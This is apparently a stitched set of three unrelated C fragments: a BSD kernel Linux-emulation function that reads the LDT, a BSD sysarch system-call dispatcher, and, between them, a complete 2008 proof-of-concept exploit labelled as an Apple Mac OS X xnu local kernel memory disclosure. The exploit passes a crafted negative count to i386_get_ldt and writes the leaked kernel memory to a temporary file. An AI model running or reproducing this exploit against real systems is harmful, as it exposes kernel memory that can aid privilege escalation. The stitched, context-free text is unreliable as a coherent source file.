int linux_read_ldt(struct proc *p, struct linux_sys_modify_ldt_args *uap, register_t *retval) { struct i386_get_ldt_args gl; int error; caddr_t sg; char *parms; if (user_ldt_enable == 0) return (ENOSYS); sg = stackgap_init(p->p_emul); gl.start = 0; gl.desc = SCARG(uap, ptr); gl.num = SCARG(uap, bytecount) / sizeof(union descriptor); parms = stackgap_alloc(&sg, sizeof(gl)); if ((error = copyout(&gl, parms, sizeof(gl))) != 0) return (error); if ((error = i386_get_ldt(p, parms, retval)) != 0) return (error); *retval *= sizeof(union descriptor); return (0); }
int main (int argc, char **argv) { int fd, n, num_desc; void *ptr; printf ("Apple MACOS X xnu <= 1228.x local kernel memory disclosure\n" "by: <*****@*****.**>\n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); n = i386_get_ldt (0, ((int)NULL) + 1, 0); if (n < 0) { fprintf (stderr, "failed i386_get_ldt(): %d\n", n); return (EXIT_FAILURE); } num_desc = n; printf ("i386_get_ldt: num_desc: %d\n", num_desc); fd = open (TMP_FILE, O_CREAT | O_RDWR, S_IRUSR | S_IWUSR); if (fd < 0) { fprintf (stderr, "failed open(): %d\n", fd); return (EXIT_FAILURE); } ptr = mmap (NULL, READ_SIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if ((int) ptr == -1) { fprintf (stderr, "failed mmap()\n"); return (EXIT_FAILURE); } memset (ptr, 0x00, READ_SIZE); i386_get_ldt (num_desc - 1, (union ldt_entry *) ptr, -(num_desc - 1)); n = write (fd, ptr, READ_SIZE); munmap (ptr, READ_SIZE); close (fd); printf ("%d-bytes of kernel memory dumped to: %s\n", n, TMP_FILE); return (EXIT_SUCCESS); }
int sys_sysarch(struct proc *p, void *v, register_t *retval) { struct sys_sysarch_args /* { syscallarg(int) op; syscallarg(void *) parms; } */ *uap = v; int error = 0; switch(SCARG(uap, op)) { #ifdef USER_LDT case I386_GET_LDT: error = i386_get_ldt(p, SCARG(uap, parms), retval); break; case I386_SET_LDT: error = i386_set_ldt(p, SCARG(uap, parms), retval); break; #endif case I386_IOPL: error = i386_iopl(p, SCARG(uap, parms), retval); break; case I386_GET_IOPERM: error = i386_get_ioperm(p, SCARG(uap, parms), retval); break; case I386_SET_IOPERM: error = i386_set_ioperm(p, SCARG(uap, parms), retval); break; #ifdef VM86 case I386_VM86: error = i386_vm86(p, SCARG(uap, parms), retval); break; #endif case I386_GET_FSBASE: { uint32_t base = i386_get_threadbase(p, TSEG_FS); error = copyout(&base, SCARG(uap, parms), sizeof(base)); break; } case I386_SET_FSBASE: { uint32_t base; if ((error = copyin(SCARG(uap, parms), &base, sizeof(base)))) break; error = i386_set_threadbase(p, base, TSEG_FS); break; } case I386_GET_GSBASE: { uint32_t base = i386_get_threadbase(p, TSEG_GS); error = copyout(&base, SCARG(uap, parms), sizeof(base)); break; } case I386_SET_GSBASE: { uint32_t base; if ((error = copyin(SCARG(uap, parms), &base, sizeof(base)))) break; error = i386_set_threadbase(p, base, TSEG_GS); break; } default: error = EINVAL; break; } return (error); }